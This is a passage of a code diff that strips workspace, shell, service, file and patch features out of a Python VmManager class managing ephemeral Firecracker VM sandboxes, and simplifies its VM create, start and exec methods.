self._guest_exec_client.signal_shell( - guest_cid, - port, - shell_id=shell_id, - signal_name=signal_name, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - - def close_shell( - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - ) -> dict[str, Any]: - del workspace_id - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = self._guest_exec_client.close_shell( - guest_cid, - port, - shell_id=shell_id, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - - def start_service( - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - command: str, - cwd: str, - readiness: dict[str, Any] | None, - ready_timeout_seconds: int, - ready_interval_ms: int, - env: dict[str, str] | None = None, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = self._guest_exec_client.start_service( - guest_cid, - port, - service_name=service_name, - command=command, - cwd=cwd, - readiness=readiness, - ready_timeout_seconds=ready_timeout_seconds, - ready_interval_ms=ready_interval_ms, - env=env, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - if not instance.allow_host_compat: - raise RuntimeError("services require guest execution or explicit host compatibility") - service = _start_local_service( - services_dir=instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME, - workspace_dir=_instance_workspace_host_dir(instance), - workspace_id=workspace_id, - service_name=service_name, - command=command, - cwd_text=cwd, - readiness=readiness, - ready_timeout_seconds=ready_timeout_seconds, - ready_interval_ms=ready_interval_ms, - env_overrides=env, - ) - return service.to_payload() - - def status_service( - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = self._guest_exec_client.status_service( - guest_cid, - port, - service_name=service_name, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - if not instance.allow_host_compat: - raise RuntimeError("services require guest execution or explicit host compatibility") - services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME - record_path = services_dir / f"{service_name}.json" - if not record_path.exists(): - raise ValueError( - f"service {service_name!r} does not exist in workspace {workspace_id!r}" - ) - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"service record at {record_path} is invalid") - service = WorkspaceServiceRecord.from_payload(payload) - refreshed = _refresh_local_service_record(service, services_dir=services_dir) - return refreshed.to_payload() - - def logs_service( - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - tail_lines: int | None, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = self._guest_exec_client.logs_service( - guest_cid, - port, - service_name=service_name, - tail_lines=tail_lines, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - if not instance.allow_host_compat: - raise RuntimeError("services require guest execution or explicit host compatibility") - services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME - record_path = services_dir / f"{service_name}.json" - if not record_path.exists(): - raise ValueError( - f"service {service_name!r} does not exist in workspace {workspace_id!r}" - ) - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"service record at {record_path} is invalid") - service = _refresh_local_service_record( - WorkspaceServiceRecord.from_payload(payload), - services_dir=services_dir, - ) - response = service.to_payload() - stdout, stdout_truncated = _tail_text( - _workspace_service_stdout_path(services_dir, service_name), - tail_lines=tail_lines, - ) - stderr, stderr_truncated = _tail_text( - _workspace_service_stderr_path(services_dir, service_name), - tail_lines=tail_lines, - ) - response.update( - { - "stdout": stdout, - "stderr": stderr, - "tail_lines": tail_lines, - "truncated": stdout_truncated or stderr_truncated, - } - ) - return response - - def stop_service( - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = self._guest_exec_client.stop_service( - guest_cid, - port, - service_name=service_name, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - if not instance.allow_host_compat: - raise RuntimeError("services require guest execution or explicit host compatibility") - services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME - record_path = services_dir / f"{service_name}.json" - if not record_path.exists(): - raise ValueError( - f"service {service_name!r} does not exist in workspace {workspace_id!r}" - ) - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"service record at {record_path} is invalid") - service = WorkspaceServiceRecord.from_payload(payload) - stopped = _stop_local_service(service, services_dir=services_dir) - return stopped.to_payload() - class VmManager: - """In-process lifecycle manager for ephemeral VM environments and workspaces.""" + """In-process lifecycle manager for ephemeral VM environments.""" MIN_VCPUS = 1 MAX_VCPUS = 8 @@ -3548,11 +342,6 @@ class VmManager: MAX_MEM_MIB = 32768 MIN_TTL_SECONDS = 60 MAX_TTL_SECONDS = 3600 - DEFAULT_VCPU_COUNT = DEFAULT_VCPU_COUNT - DEFAULT_MEM_MIB = DEFAULT_MEM_MIB - DEFAULT_TIMEOUT_SECONDS = DEFAULT_TIMEOUT_SECONDS - DEFAULT_TTL_SECONDS = DEFAULT_TTL_SECONDS - DEFAULT_ALLOW_HOST_COMPAT = DEFAULT_ALLOW_HOST_COMPAT def __init__( self, @@ -3566,8 +355,7 @@ class VmManager: ) -> None: self._backend_name = backend_name or "firecracker" self._base_dir = base_dir or Path("/tmp/pyro-mcp") - self._workspaces_dir = self._base_dir / "workspaces" - resolved_cache_dir = cache_dir or default_cache_dir() + resolved_cache_dir = cache_dir or self._base_dir / ".environment-cache" self._runtime_paths = runtime_paths if self._backend_name == "firecracker": self._runtime_paths = self._runtime_paths or resolve_runtime_paths() @@ -3599,7 +387,6 @@ class VmManager: self._lock = threading.Lock() self._instances: dict[str, VmInstance] = {} self._base_dir.mkdir(parents=True, exist_ok=True) - self._workspaces_dir.mkdir(parents=True, exist_ok=True) self._backend = self._build_backend() def _build_backend(self) -> VmBackend: @@ -3629,169 +416,21 @@ class VmManager: def prune_environments(self) -> dict[str, object]: return self._environment_store.prune_environments() - def prepare_daily_loop( - self, - environment: str, - *, - network: bool = False, - force: bool = False, - ) -> dict[str, Any]: - spec = get_environment(environment, runtime_paths=self._runtime_paths) - if self._backend_name != "firecracker": - raise RuntimeError("pyro prepare requires a guest-backed runtime and is unavailable") - if not self._runtime_capabilities.supports_vm_boot: - reason = self._runtime_capabilities.reason or "runtime does not support guest boot" - raise RuntimeError( - f"pyro prepare requires guest-backed workspace boot and is unavailable: {reason}" - ) - if not self._runtime_capabilities.supports_guest_exec: - reason = self._runtime_capabilities.reason or ( - "runtime does not support guest command execution" - ) - raise RuntimeError( - f"pyro prepare requires guest command execution and is unavailable: {reason}" - ) - if network and not self._runtime_capabilities.supports_guest_network: - reason = self._runtime_capabilities.reason or ( - "runtime does not support guest networking" - ) - raise RuntimeError( - f"pyro prepare --network requires guest networking and is unavailable: {reason}" - ) - - runtime_paths = self._runtime_paths - if runtime_paths is None: - raise RuntimeError("runtime paths are unavailable for pyro prepare") - platform = str(runtime_paths.manifest.get("platform", "linux-x86_64")) - bundle_version = cast(str | None, runtime_paths.manifest.get("bundle_version")) - manifest_path = prepare_manifest_path( - self._environment_store.cache_dir, - platform=platform, - environment=environment, - ) - manifest, manifest_error = load_prepare_manifest(manifest_path) - status, status_reason = evaluate_daily_loop_status( - environment=environment, - environment_version=spec.version, - platform=platform, - catalog_version=self._environment_store.catalog_version, - bundle_version=bundle_version, - installed=bool(self.inspect_environment(environment)["installed"]), - manifest=manifest, - manifest_error=manifest_error, - ) - if ( - not force - and status == "warm" - and prepare_request_is_satisfied(manifest, require_network=network) - ): - if manifest is None: - raise AssertionError("warm prepare state requires a manifest") - payload = serialize_daily_loop_report( - environment=environment, - status="warm", - installed=True, - cache_dir=self._environment_store.cache_dir, - manifest_path=manifest_path, - reason="reused existing warm manifest", - manifest=manifest, - ) - payload.update( - { - "prepared": True, - "reused": True, - "executed": False, - "forced": force, - "network_requested": network, - "last_prepare_duration_ms": manifest.last_prepare_duration_ms, - } - ) - return payload - - self._environment_store.ensure_installed(environment) - started = time.monotonic() - workspace_id: str | None = None - execution_mode = "pending" - try: - created = self.create_workspace( - environment=environment, - network_policy="egress" if network else "off", - allow_host_compat=False, - ) - workspace_id = str(created["workspace_id"]) - exec_result = self.exec_workspace( - workspace_id, - command="pwd", - timeout_seconds=DEFAULT_TIMEOUT_SECONDS, - ) - execution_mode = str(exec_result.get("execution_mode", "unknown")) - if int(exec_result.get("exit_code", 1)) != 0: - raise RuntimeError("prepare guest exec failed") - if str(exec_result.get("stdout", "")) != f"{WORKSPACE_GUEST_PATH}\n": - raise RuntimeError("prepare guest exec returned an unexpected working directory") - self.reset_workspace(workspace_id) - finally: - if workspace_id is not None: - try: - self.delete_workspace(workspace_id, reason="prepare_cleanup") - except Exception: - pass - - duration_ms = int((time.monotonic() - started) * 1000) - prepared_at = time.time() - preserved_network_prepared = bool( - manifest is not None and status == "warm" and manifest.network_prepared - ) - prepared_manifest = DailyLoopManifest( - environment=environment, - environment_version=spec.version, - platform=platform, - catalog_version=self._environment_store.catalog_version, - bundle_version=bundle_version, - prepared_at=prepared_at, - network_prepared=network or preserved_network_prepared, - last_prepare_duration_ms=duration_ms, - ) - write_prepare_manifest(manifest_path, prepared_manifest) - payload = serialize_daily_loop_report( - environment=environment, - status="warm", - installed=True, - cache_dir=self._environment_store.cache_dir, - manifest_path=manifest_path, - reason=status_reason, - manifest=prepared_manifest, - ) - payload.update( - { - "prepared": True, - "reused": False, - "executed": True, - "forced": force, - "network_requested": network, - "last_prepare_duration_ms": duration_ms, - "execution_mode": execution_mode, - } - ) - return payload - def create_vm( self, *, environment: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - ttl_seconds: int = DEFAULT_TTL_SECONDS, + vcpu_count: int, + mem_mib: int, + ttl_seconds: int, network: bool = False, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) get_environment(environment, runtime_paths=self._runtime_paths) now = time.time() with self._lock: self._reap_expired_locked(now) - self._reap_expired_workspaces_locked(now) - active_count = len(self._instances) + self._count_workspaces_locked() + active_count = len(self._instances) if active_count >= self._max_active_vms: raise RuntimeError( f"max active VMs reached ({self._max_active_vms}); delete old VMs first" @@ -3807,9 +446,7 @@ class VmManager: expires_at=now + ttl_seconds, workdir=self._base_dir / vm_id, network_requested=network, - allow_host_compat=allow_host_compat, ) - instance.metadata["allow_host_compat"] = str(allow_host_compat).lower() self._backend.create(instance) self._instances[vm_id] = instance return self._serialize(instance) @@ -3819,12 +456,11 @@ class VmManager: *, environment: str, command: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, - ttl_seconds: int = DEFAULT_TTL_SECONDS, + vcpu_count: int, + mem_mib: int, + timeout_seconds: int = 30, + ttl_seconds: int = 600, network: bool = False, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: created = self.create_vm( environment=environment, @@ -3832,7 +468,6 @@ class VmManager: mem_mib=mem_mib, ttl_seconds=ttl_seconds, network=network, - allow_host_compat=allow_host_compat, ) vm_id = str(created["vm_id"]) try: @@ -3849,24 +484,27 @@ class VmManager: with self._lock: instance = self._get_instance_locked(vm_id) self._ensure_not_expired_locked(instance, time.time()) - self._start_instance_locked(instance) + if instance.state not in {"created", "stopped"}: + raise RuntimeError(f"vm {vm_id} cannot be started from state {instance.state!r}") + self._backend.start(instance) + instance.state = "started" return self._serialize(instance) def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: + if timeout_seconds <= 0: + raise ValueError("timeout_seconds must be positive") with self._lock: instance = self._get_instance_locked(vm_id) self._ensure_not_expired_locked(instance, time.time()) - exec_instance = instance - exec_result, execution_mode = self._exec_instance( - exec_instance, - command=command, - timeout_seconds=timeout_seconds, - ) + if instance.state != "started": + raise RuntimeError(f"vm {vm_id} must be in 'started' state before vm_exec") + exec_result = self._backend.exec(instance, command, timeout_seconds) + execution_mode = instance.metadata.get("execution_mode", "host_compat") cleanup = self.delete_vm(vm_id, reason="post_exec_cleanup") return { "vm_id": vm_id, - "environment": exec_instance.environment, - "environment_version": exec_instance.metadata.get("environment_version"), + "environment": instance.environment, + "environment_version": instance.metadata.get("environment_version"), "command": command, "stdout": exec_result.stdout, "stderr": exec_result.stderr, @@ -3927,1843 +565,6 @@ class VmManager: del self._instances[vm_id] return {"deleted_vm_ids": expired_vm_ids, "count": len(expired_vm_ids)} - def create_workspace( - self, - *, - environment: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - ttl_seconds: int = DEFAULT_TTL_SECONDS, - network_policy: WorkspaceNetworkPolicy | str = DEFAULT_WORKSPACE_NETWORK_POLICY, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - seed_path: str | Path | None = None, - secrets: list[dict[str, str]] | None = None, - name: str | None = None, - labels: dict[str, str] | None = None, - _prepared_seed: PreparedWorkspaceSeed | None = None, - ) -> dict[str, Any]: - self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) - get_environment(environment, runtime_paths=self._runtime_paths) - normalized_network_policy = _normalize_workspace_network_policy(str(network_policy)) - normalized_name = None if name is None else _normalize_workspace_name(name) - normalized_labels = _normalize_workspace_labels(labels) - if _prepared_seed is not None and seed_path is not None: - raise ValueError("_prepared_seed and seed_path are mutually exclusive") - prepared_seed = _prepared_seed or self._prepare_workspace_seed(seed_path) - now = time.time() - workspace_id = uuid.uuid4().hex[:12] - workspace_dir = self._workspace_dir(workspace_id) - runtime_dir = self._workspace_runtime_dir(workspace_id) - host_workspace_dir = self._workspace_host_dir(workspace_id) - commands_dir = self._workspace_commands_dir(workspace_id) - review_dir = self._workspace_review_dir(workspace_id) - shells_dir = self._workspace_shells_dir(workspace_id) - services_dir = self._workspace_services_dir(workspace_id) - secrets_dir = self._workspace_secrets_dir(workspace_id) - snapshots_dir = self._workspace_snapshots_dir(workspace_id) - baseline_archive_path = self._workspace_baseline_archive_path(workspace_id) - workspace_dir.mkdir(parents=True, exist_ok=False) - host_workspace_dir.mkdir(parents=True, exist_ok=True) - commands_dir.mkdir(parents=True, exist_ok=True) - review_dir.mkdir(parents=True, exist_ok=True) - shells_dir.mkdir(parents=True, exist_ok=True) - services_dir.mkdir(parents=True, exist_ok=True) - secrets_dir.mkdir(parents=True, exist_ok=True) - snapshots_dir.mkdir(parents=True, exist_ok=True) - secret_records, _ = _prepare_workspace_secrets(secrets, secrets_dir=secrets_dir) - _persist_workspace_baseline( - prepared_seed, - baseline_archive_path=baseline_archive_path, - ) - instance = VmInstance( - vm_id=workspace_id, - environment=environment, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - ttl_seconds=ttl_seconds, - created_at=now, - expires_at=now + ttl_seconds, - workdir=runtime_dir, - network_requested=normalized_network_policy != "off", - allow_host_compat=allow_host_compat, - ) - instance.metadata["allow_host_compat"] = str(allow_host_compat).lower() - instance.metadata["workspace_path"] = WORKSPACE_GUEST_PATH - instance.metadata["workspace_host_dir"] = str(host_workspace_dir) - instance.metadata["network_policy"] = normalized_network_policy - try: - with self._lock: - self._reap_expired_locked(now) - self._reap_expired_workspaces_locked(now) - active_count = len(self._instances) + self._count_workspaces_locked() - if active_count >= self._max_active_vms: - raise RuntimeError( - f"max active VMs reached ({self._max_active_vms}); delete old VMs first" - ) - self._require_workspace_network_policy_support(network_policy=normalized_network_policy) - self._backend.create(instance) - if self._runtime_capabilities.supports_guest_exec: - self._ensure_workspace_guest_bootstrap_support(instance) - with self._lock: - self._start_instance_locked(instance) - workspace = WorkspaceRecord.from_instance( - instance, - network_policy=normalized_network_policy, - workspace_seed=prepared_seed.to_payload(), - secrets=secret_records, - name=normalized_name, - labels=normalized_labels, - ) - if workspace.secrets: - self._install_workspace_secrets_locked(workspace, instance) - self._require_guest_exec_or_opt_in(instance) - import_summary = self._backend.import_archive( - instance, - archive_path=baseline_archive_path, - destination=WORKSPACE_GUEST_PATH, - ) - workspace_seed = dict(workspace.workspace_seed) - workspace_seed["entry_count"] = int(import_summary["entry_count"]) - workspace_seed["bytes_written"] = int(import_summary["bytes_written"]) - workspace_seed["destination"] = str(import_summary["destination"]) - workspace.workspace_seed = workspace_seed - self._save_workspace_locked(workspace) - return self._serialize_workspace(workspace) - except Exception: - if runtime_dir.exists(): - try: - if instance.state == "started": - self._backend.stop(instance) - instance.state = "stopped" - except Exception: - pass - try: - self._backend.delete(instance) - except Exception: - pass - shutil.rmtree(workspace_dir, ignore_errors=True) - raise - finally: - prepared_seed.cleanup() - - def push_workspace_sync( - self, - workspace_id: str, - *, - source_path: str | Path, - dest: str = WORKSPACE_GUEST_PATH, - ) -> dict[str, Any]: - prepared_seed = self._prepare_workspace_seed(source_path) - if prepared_seed.archive_path is None: - prepared_seed.cleanup() - raise ValueError("source_path is required") - normalized_destination, _ = _normalize_workspace_destination(dest) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._refresh_workspace_liveness_locked(workspace) - if workspace.state != "started": - raise RuntimeError( - f"workspace {workspace_id} must be in 'started' state " - "before workspace_sync_push" - ) - instance = workspace.to_instance( - workdir=self._workspace_runtime_dir(workspace.workspace_id) - ) - try: - import_summary = self._backend.import_archive( - instance, - archive_path=prepared_seed.archive_path, - destination=normalized_destination, - ) - finally: - prepared_seed.cleanup() - workspace_sync = prepared_seed.to_payload( - destination=normalized_destination, - path_key="source_path", - include_origin=False, - ) - workspace_sync["entry_count"] = int(import_summary["entry_count"]) - workspace_sync["bytes_written"] = int(import_summary["bytes_written"]) - workspace_sync["destination"] = str(import_summary["destination"]) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._record_workspace_review_event_locked( - workspace_id, - event_kind="sync_push", - payload={ - "mode": str(workspace_sync["mode"]), - "source_path": str(workspace_sync["source_path"]), - "destination": str(workspace_sync["destination"]), - "entry_count": int(workspace_sync["entry_count"]), - "bytes_written": int(workspace_sync["bytes_written"]), - "execution_mode": str(instance.metadata.get("execution_mode", "pending")), - }, - ) - self._save_workspace_locked(workspace) - return { - "workspace_id": workspace_id, - "execution_mode": instance.metadata.get("execution_mode", "pending"), - "workspace_sync": workspace_sync, - } - - def list_workspaces(self) -> dict[str, Any]: - with self._lock: - now = time.time() - self._reap_expired_workspaces_locked(now) - workspaces: list[WorkspaceRecord] = [] - for metadata_path in self._workspaces_dir.glob("*/workspace.json"): - payload = json.loads(metadata_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - continue - workspace = WorkspaceRecord.from_payload(payload) - self._refresh_workspace_liveness_locked(workspace) - self._refresh_workspace_service_counts_locked(workspace) - self._save_workspace_locked(workspace) - workspaces.append(workspace) - workspaces.sort( - key=lambda item: ( - -item.last_activity_at, - -item.created_at, - item.workspace_id, - ) - ) - return { - "count": len(workspaces), - "workspaces": [ - self._serialize_workspace_list_item(workspace) for workspace in workspaces - ], - } - - def update_workspace( - self, - workspace_id: str, - *, - name: str | None = None, - clear_name: bool = False, - labels: dict[str, str] | None = None, - clear_labels: list[str] | None = None, - ) -> dict[str, Any]: - if name is not None and clear_name: - raise ValueError("name and clear_name cannot be used together") - normalized_name = None if name is None else _normalize_workspace_name(name) - normalized_labels = None if labels is None else _normalize_workspace_labels(labels) - normalized_clear_labels = [ - _normalize_workspace_label_key(label_key) for label_key in (clear_labels or []) - ] - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - updated = False - if clear_name: - if workspace.name is not None: - workspace.name = None - updated = True - elif normalized_name is not None and workspace.name != normalized_name: - workspace.name = normalized_name - updated = True - if normalized_labels is not None: - for label_key, label_value in normalized_labels.items(): - if workspace.labels.get(label_key) != label_value: - workspace.labels[label_key] = label_value - updated = True - for label_key in normalized_clear_labels: - if label_key in workspace.labels: - del workspace.labels[label_key] - updated = True - workspace.labels = dict(sorted(workspace.labels.items())) - if not updated: - raise ValueError("workspace update requested no effective metadata change") - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - return self._serialize_workspace(workspace) - - def export_workspace( - self, - workspace_id: str, - path: str, - *, - output_path: str | Path, - ) -> dict[str, Any]: - normalized_path, _ = _normalize_workspace_destination(path) - raw_output_path = str(output_path).strip() - if raw_output_path == "": - raise ValueError("output_path must not be empty") - resolved_output_path = Path(output_path).expanduser().resolve() - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_operation_locked( - workspace, - operation_name="workspace_export", - ) - with tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as temp_dir: - archive_path = Path(temp_dir) / "workspace-export.tar" - exported = self._backend.export_archive( - instance, - workspace_path=normalized_path, - archive_path=archive_path, - ) - extracted = _extract_workspace_export_archive( - archive_path, - output_path=resolved_output_path, - artifact_type=cast(WorkspaceArtifactType, str(exported["artifact_type"])), - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._record_workspace_review_event_locked( - workspace_id, - event_kind="workspace_export", - payload={ - "workspace_path": normalized_path, - "output_path": str(Path(str(extracted["output_path"]))), - "artifact_type": str(extracted["artifact_type"]), - "entry_count": int(extracted["entry_count"]), - "bytes_written": int(extracted["bytes_written"]), - "execution_mode": str( - exported.get( - "execution_mode", - instance.metadata.get("execution_mode", "pending"), - ) - ), - }, - ) - self._save_workspace_locked(workspace) - return { - "workspace_id": workspace_id, - "workspace_path": normalized_path, - "output_path": str(Path(str(extracted["output_path"]))), - "artifact_type": extracted["artifact_type"], - "entry_count": int(extracted["entry_count"]), - "bytes_written": int(extracted["bytes_written"]), - "execution_mode": str( - exported.get("execution_mode", instance.metadata.get("execution_mode", "pending")) - ), - } - - def diff_workspace(self, workspace_id: str) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_operation_locked( - workspace, - operation_name="workspace_diff", - ) - baseline_archive_path = self._workspace_baseline_archive_path(workspace_id) - if not baseline_archive_path.exists(): - raise RuntimeError( - "workspace diff requires a baseline snapshot. Recreate the workspace to use diff." - ) - with tempfile.TemporaryDirectory(prefix="pyro-workspace-diff-") as temp_dir: - temp_root = Path(temp_dir) - current_archive_path = temp_root / "current.tar" - baseline_root = temp_root / "baseline" - current_root = temp_root / "current" - self._backend.export_archive( - instance, - workspace_path=WORKSPACE_GUEST_PATH, - archive_path=current_archive_path, - ) - _extract_seed_archive_to_host_workspace( - baseline_archive_path, - workspace_dir=baseline_root, - destination=WORKSPACE_GUEST_PATH, - ) - _extract_seed_archive_to_host_workspace( - current_archive_path, - workspace_dir=current_root, - destination=WORKSPACE_GUEST_PATH, - ) - diff_payload = _diff_workspace_trees(baseline_root, current_root) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._save_workspace_locked(workspace) - diff_payload["workspace_id"] = workspace_id - return diff_payload - - def list_workspace_files( - self, - workspace_id: str, - *, - path: str = WORKSPACE_GUEST_PATH, - recursive: bool = False, - ) -> dict[str, Any]: - normalized_path = _normalize_workspace_file_path(path) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_operation_locked( - workspace, - operation_name="workspace_file_list", - ) - listing = self._backend.list_workspace_entries( - instance, - workspace_path=normalized_path, - recursive=recursive, - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._save_workspace_locked(workspace) - return { - "workspace_id": workspace_id, - "path": str(listing["path"]), - "recursive": recursive, - "entries": cast(list[dict[str, Any]], list(listing.get("entries", []))), - "execution_mode": str( - listing.get("execution_mode", instance.metadata.get("execution_mode", "pending")) - ), - } - - def read_workspace_file( - self, - workspace_id: str, - path: str, - *, - max_bytes: int = DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES, - ) -> dict[str, Any]: - normalized_path = _normalize_workspace_file_path(path) - normalized_max_bytes = _validate_workspace_file_read_max_bytes(max_bytes) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_operation_locked( - workspace, - operation_name="workspace_file_read", - ) - payload = self._backend.read_workspace_file( - instance, - workspace_path=normalized_path, - max_bytes=WORKSPACE_FILE_MAX_BYTES, - ) - raw_bytes = cast(bytes, payload["content_bytes"]) - content = raw_bytes[:normalized_max_bytes].decode("utf-8", errors="replace") - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._save_workspace_locked(workspace) - return { - "workspace_id": workspace_id, - "path": str(payload["path"]), - "size_bytes": int(payload["size_bytes"]), - "max_bytes": normalized_max_bytes, - "content": content, - "truncated": len(raw_bytes) > normalized_max_bytes, - "execution_mode": str( - payload.get("execution_mode", instance.metadata.get("execution_mode", "pending")) - ), - } - - def write_workspace_file( - self, - workspace_id: str, - path: str, - *, - text: str, - ) -> dict[str, Any]: - normalized_path = _normalize_workspace_file_path(path) - normalized_text = _validate_workspace_text_payload(text, field_name="text") - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_operation_locked( - workspace, - operation_name="workspace_file_write", - ) - payload = self._backend.write_workspace_file( - instance, - workspace_path=normalized_path, - text=normalized_text, - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._record_workspace_review_event_locked( - workspace_id, - event_kind="file_write", - payload={ - "path": str(payload["path"]), - "size_bytes": int(payload["size_bytes"]), - "bytes_written": int(payload["bytes_written"]), - "execution_mode": str( - payload.get( - "execution_mode", - instance.metadata.get("execution_mode", "pending"), - ) - ), - }, - ) - self._save_workspace_locked(workspace) - return { - "workspace_id": workspace_id, - "path": str(payload["path"]), - "size_bytes": int(payload["size_bytes"]), - "bytes_written": int(payload["bytes_written"]), - "execution_mode": str( - payload.get("execution_mode", instance.metadata.get("execution_mode", "pending")) - ), - } - - def apply_workspace_patch( - self, - workspace_id: str, - *, - patch: str, - ) -> dict[str, Any]: - patch_text = _validate_workspace_patch_text(patch) - parsed_patches = parse_unified_text_patch(patch_text) - patch_by_path: dict[str, WorkspaceTextPatch] = {} - for text_patch in parsed_patches: - if text_patch.path in patch_by_path: - raise ValueError(f"patch contains duplicate file entries for {text_patch.path}") - patch_by_path[text_patch.path] = text_patch - - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_operation_locked( - workspace, - operation_name="workspace_patch_apply", - ) - - planned_writes: dict[str, str] = {} - planned_deletes: list[str] = [] - summary = { - "total": 0, - "added": 0, - "modified": 0, - "deleted": 0, - } - entries: list[dict[str, str]] = [] - - for path_text in sorted(patch_by_path): - file_patch = patch_by_path[path_text] - listing: dict[str, Any] | None = None - current_text: str | None = None - exists = True - try: - listing = self._backend.list_workspace_entries( - instance, - workspace_path=file_patch.path, - recursive=False, - ) - except RuntimeError as exc: - if "does not exist" in str(exc): - exists = False - else: - raise - if exists: - if listing is None: - raise RuntimeError( - f"workspace patch could not inspect current path: {file_patch.path}" - ) - artifact_type = str(listing["artifact_type"]) - if artifact_type != "file": - raise RuntimeError( - f"workspace patch only supports regular files: {file_patch.path}" - ) - current_payload = self._backend.read_workspace_file( - instance, - workspace_path=file_patch.path, - max_bytes=WORKSPACE_FILE_MAX_BYTES, - ) - current_text = _decode_workspace_patch_text( - file_patch.path, - cast(bytes, current_payload["content_bytes"]), - ) - if file_patch.status == "added" and exists: - raise RuntimeError( - f"workspace patch cannot add an existing path: {file_patch.path}" - ) - if file_patch.status in {"modified", "deleted"} and not exists: - raise RuntimeError( - f"workspace patch cannot modify a missing path: {file_patch.path}" - ) - after_text = apply_unified_text_patch( - path=file_patch.path, - patch=file_patch, - before_text=current_text, - ) - if after_text is None: - planned_deletes.append(file_patch.path) - else: - planned_writes[file_patch.path] = after_text - summary["total"] += 1 - summary[file_patch.status] += 1 - entries.append({"path": file_patch.path, "status": file_patch.status}) - - for 